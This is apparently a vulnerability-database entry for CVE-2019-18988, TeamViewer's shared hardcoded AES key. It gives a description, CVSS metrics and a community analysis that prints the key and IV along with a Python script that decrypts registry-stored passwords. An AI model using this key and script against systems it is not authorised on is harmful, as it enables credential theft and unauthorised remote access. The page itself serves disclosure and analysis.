Attacker Value
Low
(1 user assessed)
Exploitability
High
(1 user assessed)
User Interaction
None
Privileges Required
Low
Attack Vector
Local
0

CVE-2019-18988

Disclosure Date: February 07, 2020
Exploited in the Wild
Add MITRE ATT&CK tactics and techniques that apply to this CVE.

Description

TeamViewer Desktop through 14.7.1965 allows a bypass of remote-login access control because the same key is used for different customers’ installations. It used a shared AES key for all installations since at least as far back as v7.0.43148, and used it for at least OptionsPasswordAES in the current version of the product. If an attacker were to know this key, they could decrypt protect information stored in the registry or configuration files of TeamViewer. With versions before v9.x , this allowed for attackers to decrypt the Unattended Access password to the system (which allows for remote login to the system as well as headless file browsing). The latest version still uses the same key for OptionPasswordAES but appears to have changed how the Unattended Access password is stored. While in most cases an attacker requires an existing session on a system, if the registry/configuration keys were stored off of the machine (such as in a file share or online), an attacker could then decrypt the required password to login to the system.

Add Assessment

4
Ratings
Technical Analysis

In some versions of Teamviewer, user defined passwords are stored in the registery, encrypted with AES-128-CBC. This wouldn’t be an issue, if the key and IV for this AES encryption wasn’t stored inside the Teamviewer binary itself. This means that we now have these:

key: 0602000000a400005253413100040000 
iv:  0100010067244F436E6762F25EA8D704 

This can be used to get the stored password using either the following python script (source: https://whynotsecurity.com/blog/teamviewer/) or using the MSF Module.

import sys, hexdump, binascii
from Crypto.Cipher import AES

class AESCipher:
    def __init__(self, key):
        self.key = key

    def decrypt(self, iv, data):
        self.cipher = AES.new(self.key, AES.MODE_CBC, iv)
        return self.cipher.decrypt(data)

key = binascii.unhexlify("0602000000a400005253413100040000")
iv = binascii.unhexlify("0100010067244F436E6762F25EA8D704")
hex_str_cipher = "d690a9d0a592327f99bb4c6a6b6d4cbe"			# output from the registry

ciphertext = binascii.unhexlify(hex_str_cipher)

raw_un = AESCipher(key).decrypt(iv, ciphertext)

print(hexdump.hexdump(raw_un))

password = raw_un.decode('utf-16')
print(password)

This CVE requires users to reuse passwords across multiple accounts, so it’s not guaranteed to escalate privilleges. This is also the reason why Teamviewer themselves state the following in their Security Bulletin:

In the blog post, the researcher mentions a privilege escalation risk.
There’s no direct vulnerability offering someone the ability to gain additional privileges on the local system.
The only risk would be in the case that a user is reusing the exposed passwords on other services. 

Source – https://community.teamviewer.com/t5/Announcements/Specification-on-CVE-2019-18988/td-p/82264

CVSS V3 Severity and Metrics
Base Score:
7.0 High
Impact Score:
5.9
Exploitability Score:
1
Vector:
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector (AV):
Local
Attack Complexity (AC):
High
Privileges Required (PR):
Low
User Interaction (UI):
None
Scope (S):
Unchanged
Confidentiality (C):
High
Integrity (I):
High
Availability (A):
High

General Information

Vendors

  • teamviewer

Products

  • teamviewer

Exploited in the Wild

Reported by:
Technical Analysis